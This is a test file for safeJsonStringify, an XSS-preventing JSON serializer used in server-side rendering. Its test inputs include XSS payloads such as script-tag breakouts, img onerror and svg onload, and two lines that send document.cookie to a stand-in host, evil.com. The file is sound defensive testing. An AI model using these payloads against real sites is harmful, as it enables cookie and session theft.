๐Ÿ“ฆ cloudflare / vinext

๐Ÿ“„ safe-json.test.ts ยท 382 lines
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382/**
 * Tests for safeJsonStringify โ€” the HTML-safe JSON serializer.
 *
 * This is a security-critical function. It prevents XSS when embedding
 * JSON data inside <script> tags during SSR. Every test here represents
 * a real attack vector that has been exploited in production SSR frameworks.
 */
import { describe, it, expect } from "vitest";
import { safeJsonStringify } from "../packages/vinext/src/server/html.js";

// ---------------------------------------------------------------------------
// Core escaping behavior
// ---------------------------------------------------------------------------

describe("safeJsonStringify", () => {
  describe("basic functionality", () => {
    it("serializes primitives correctly", () => {
      expect(safeJsonStringify("hello")).toBe('"hello"');
      expect(safeJsonStringify(42)).toBe("42");
      expect(safeJsonStringify(true)).toBe("true");
      expect(safeJsonStringify(null)).toBe("null");
    });

    it("serializes objects and arrays", () => {
      const result = safeJsonStringify({ a: 1, b: [2, 3] });
      // Should be valid JSON when unescaped
      expect(JSON.parse(result.replace(/\\u003c/g, "<").replace(/\\u003e/g, ">").replace(/\\u0026/g, "&"))).toEqual({
        a: 1,
        b: [2, 3],
      });
    });

    it("handles empty objects and arrays", () => {
      expect(safeJsonStringify({})).toBe("{}");
      expect(safeJsonStringify([])).toBe("[]");
    });

    it("handles nested structures", () => {
      const data = { user: { name: "test", tags: ["a", "b"] } };
      const result = safeJsonStringify(data);
      // The output should parse back to the same value when we undo the escapes
      const unescaped = result
        .replace(/\\u003c/g, "<")
        .replace(/\\u003e/g, ">")
        .replace(/\\u0026/g, "&");
      expect(JSON.parse(unescaped)).toEqual(data);
    });
  });

  // ---------------------------------------------------------------------------
  // XSS prevention โ€” the reason this function exists
  // ---------------------------------------------------------------------------

  describe("XSS prevention", () => {
    it("escapes </script> โ€” the classic SSR XSS vector", () => {
      const malicious = '</script><script>alert("xss")</script>';
      const result = safeJsonStringify({ content: malicious });

      // Must NOT contain a literal </script> that would close the tag
      expect(result).not.toContain("</script>");
      expect(result).not.toContain("</Script>");

      // Must contain the escaped form
      expect(result).toContain("\\u003c/script\\u003e");
    });

    it("escapes </SCRIPT> (case variations)", () => {
      const payloads = [
        "</SCRIPT>",
        "</Script>",
        "</ScRiPt>",
      ];
      for (const payload of payloads) {
        const result = safeJsonStringify(payload);
        // All < and > should be escaped regardless of case
        expect(result).not.toContain("<");
        expect(result).not.toContain(">");
      }
    });

    it("escapes <!-- HTML comment open", () => {
      const result = safeJsonStringify("<!--");
      expect(result).not.toContain("<!--");
      expect(result).toContain("\\u003c");
    });

    it("escapes --> HTML comment close", () => {
      const result = safeJsonStringify("-->");
      expect(result).not.toContain("-->");
      expect(result).toContain("\\u003e");
    });

    it("escapes < in all positions", () => {
      const result = safeJsonStringify("<img onerror=alert(1)>");
      expect(result).not.toContain("<");
      expect(result).not.toContain(">");
    });

    it("escapes & to prevent entity interpretation in XHTML", () => {
      const result = safeJsonStringify("&lt;script&gt;");
      expect(result).not.toContain("&");
      expect(result).toContain("\\u0026");
    });

    it("escapes U+2028 LINE SEPARATOR", () => {
      const result = safeJsonStringify("before\u2028after");
      expect(result).not.toContain("\u2028");
      expect(result).toContain("\\u2028");
    });

    it("escapes U+2029 PARAGRAPH SEPARATOR", () => {
      const result = safeJsonStringify("before\u2029after");
      expect(result).not.toContain("\u2029");
      expect(result).toContain("\\u2029");
    });
  });

  // ---------------------------------------------------------------------------
  // Real-world attack payloads
  // ---------------------------------------------------------------------------

  describe("real-world attack payloads", () => {
    it("blocks stored XSS via CMS content in pageProps", () => {
      // Simulates a blog post body from a CMS containing an XSS payload
      const pageProps = {
        post: {
          title: "Innocent Post",
          body: 'Check this out!</script><script>document.location="https://evil.com/steal?c="+document.cookie</script>',
        },
      };
      const result = safeJsonStringify({ props: { pageProps } });

      // The script tag must not break out
      expect(result).not.toContain("</script>");

      // Simulating what the browser sees: embed in a script tag
      const scriptContent = `window.__NEXT_DATA__ = ${result}`;
      // The browser should see this as a single script with JSON data,
      // not as multiple script tags
      expect(scriptContent.match(/<\/script/gi)).toBeNull();
    });

    it("blocks SVG-based XSS payload", () => {
      const payload = '<svg onload="alert(1)">';
      const result = safeJsonStringify({ html: payload });
      // The < and > must be escaped so the browser doesn't parse it as HTML
      expect(result).not.toContain("<svg");
      expect(result).not.toContain("<");
      expect(result).not.toContain(">");
      // The string "onload" is harmless inside a JSON string โ€” it's the
      // angle brackets that make it dangerous
    });

    it("blocks payload with multiple closing tags", () => {
      const payload = '</script></script></script><script>alert(1)//';
      const result = safeJsonStringify(payload);
      expect(result).not.toContain("</script>");
    });

    it("blocks payload attempting Unicode escape bypass", () => {
      // Some attackers try \u003c/script\u003e in the source hoping
      // the JSON serializer will output the raw chars
      const payload = "\u003c/script\u003e\u003cscript\u003ealert(1)\u003c/script\u003e";
      const result = safeJsonStringify(payload);
      // The literal < and > from the Unicode escapes must be re-escaped
      expect(result).not.toContain("<");
      expect(result).not.toContain(">");
    });

    it("handles null bytes in payloads", () => {
      const payload = "</scr\0ipt>";
      const result = safeJsonStringify(payload);
      expect(result).not.toContain("<");
      expect(result).not.toContain(">");
    });

    it("handles deeply nested XSS payloads", () => {
      const data = {
        a: {
          b: {
            c: {
              d: {
                value: '</script><script>fetch("https://evil.com/"+document.cookie)</script>',
              },
            },
          },
        },
      };
      const result = safeJsonStringify(data);
      expect(result).not.toContain("</script>");
    });

    it("handles array values with XSS payloads", () => {
      const data = {
        items: [
          "safe",
          '</script><script>alert(1)</script>',
          "also safe",
        ],
      };
      const result = safeJsonStringify(data);
      expect(result).not.toContain("</script>");
    });
  });

  // ---------------------------------------------------------------------------
  // Output validity โ€” the escaped JSON must still parse correctly
  // ---------------------------------------------------------------------------

  describe("output is valid JavaScript", () => {
    it("output can be parsed as a JS expression (simulating script tag eval)", () => {
      const data = {
        title: '</script><script>alert("xss")</script>',
        body: "Hello & goodbye <world>",
        special: "Line\u2028break\u2029here",
      };
      const result = safeJsonStringify(data);

      // The output should be valid JavaScript that evaluates to the original data.
      // We use Function() here intentionally in the test to verify the output
      // is valid JS โ€” this is the exact context where it will be used (inside
      // a <script> tag).
      // eslint-disable-next-line no-new-func
      const parsed = new Function(`return (${result})`)();
      expect(parsed).toEqual(data);
    });

    it("round-trips complex data through script tag simulation", () => {
      const data = {
        props: {
          pageProps: {
            users: [
              { name: "Alice <admin>", bio: "I love &amp; code" },
              { name: "Bob</script>", bio: "\u2028\u2029" },
            ],
          },
        },
        page: "/users/[id]",
        query: { id: "123" },
        isFallback: false,
      };
      const result = safeJsonStringify(data);

      // Must be valid JS
      // eslint-disable-next-line no-new-func
      const parsed = new Function(`return (${result})`)();
      expect(parsed).toEqual(data);
    });

    it("preserves all standard JSON data types", () => {
      const data = {
        string: "hello",
        number: 42,
        float: 3.14,
        negative: -1,
        boolTrue: true,
        boolFalse: false,
        nullValue: null,
        array: [1, "two", null, true],
        nested: { a: { b: { c: "deep" } } },
        empty: {},
        emptyArray: [],
        unicode: "\u00e9\u00e8\u00ea", // French accented chars
        emoji: "\uD83D\uDE00", // grinning face
      };
      const result = safeJsonStringify(data);
      // eslint-disable-next-line no-new-func
      const parsed = new Function(`return (${result})`)();
      expect(parsed).toEqual(data);
    });
  });

  // ---------------------------------------------------------------------------
  // Edge cases
  // ---------------------------------------------------------------------------

  describe("edge cases", () => {
    it("handles empty string", () => {
      expect(safeJsonStringify("")).toBe('""');
    });

    it("handles string with only special characters", () => {
      const result = safeJsonStringify("<>&\u2028\u2029");
      expect(result).not.toContain("<");
      expect(result).not.toContain(">");
      expect(result).not.toContain("&");
    });

    it("handles very long strings", () => {
      const long = "x".repeat(100000) + "</script>" + "y".repeat(100000);
      const result = safeJsonStringify(long);
      expect(result).not.toContain("</script>");
      // eslint-disable-next-line no-new-func
      const parsed = new Function(`return (${result})`)();
      expect(parsed).toBe(long);
    });

    it("handles strings that look like escape sequences", () => {
      // Input already contains \\u003c โ€” the serializer should not double-escape
      // in a way that changes semantics. The input literal backslash + u003c
      // should remain as-is in the JSON (JSON.stringify already escapes the backslash).
      const input = "already escaped: \\u003c";
      const result = safeJsonStringify(input);
      // eslint-disable-next-line no-new-func
      const parsed = new Function(`return (${result})`)();
      expect(parsed).toBe(input);
    });

    it("does not mangle regular content", () => {
      const data = {
        title: "My Blog Post",
        description: "A normal description with 'quotes' and \"double quotes\"",
        count: 42,
      };
      const result = safeJsonStringify(data);
      // eslint-disable-next-line no-new-func
      const parsed = new Function(`return (${result})`)();
      expect(parsed).toEqual(data);
    });
  });

  // ---------------------------------------------------------------------------
  // Integration: simulating the actual __NEXT_DATA__ embedding pattern
  // ---------------------------------------------------------------------------

  describe("__NEXT_DATA__ embedding simulation", () => {
    it("produces safe output when embedded in a script tag", () => {
      const pageProps = {
        post: {
          title: "How to </script> break things",
          content: '<img src=x onerror="alert(1)">',
          author: "Alice & Bob <team>",
        },
      };

      const nextData = {
        props: { pageProps },
        page: "/posts/[slug]",
        query: { slug: "test" },
        isFallback: false,
      };

      const scriptContent = `<script>window.__NEXT_DATA__ = ${safeJsonStringify(nextData)}</script>`;

      // Count script tags โ€” there should be exactly one open and one close.
      // lgtm[js/bad-tag-filter] โ€” counting tags to verify XSS protection, not filtering HTML
      const openTags = scriptContent.match(/<script>/g);
      const closeTags = scriptContent.match(/<\/script>/g);
      expect(openTags).toHaveLength(1);
      expect(closeTags).toHaveLength(1);
    });

    it("produces safe output for RSC embed data", () => {
      const embedData = {
        rsc: ['chunk with </script> in it', '<script>alert(1)</script>'],
        params: { id: "123" },
      };

      const scriptContent = `<script>self.__VINEXT_RSC__=${safeJsonStringify(embedData)}</script>`;

      // lgtm[js/bad-tag-filter] โ€” counting tags to verify XSS protection, not filtering HTML
      const openTags = scriptContent.match(/<script>/g);
      const closeTags = scriptContent.match(/<\/script>/g);
      expect(openTags).toHaveLength(1);
      expect(closeTags).toHaveLength(1);
    });

    it("locale globals are safe", () => {
      const locale = '</script><script>alert("locale")</script>';
      const locales = ["en", locale, "fr"];

      const script = `<script>window.__VINEXT_LOCALE__=${safeJsonStringify(locale)};window.__VINEXT_LOCALES__=${safeJsonStringify(locales)}</script>`;

      // lgtm[js/bad-tag-filter] โ€” counting tags to verify XSS protection, not filtering HTML
      const openTags = script.match(/<script>/g);
      const closeTags = script.match(/<\/script>/g);
      expect(openTags).toHaveLength(1);
      expect(closeTags).toHaveLength(1);
    });
  });
});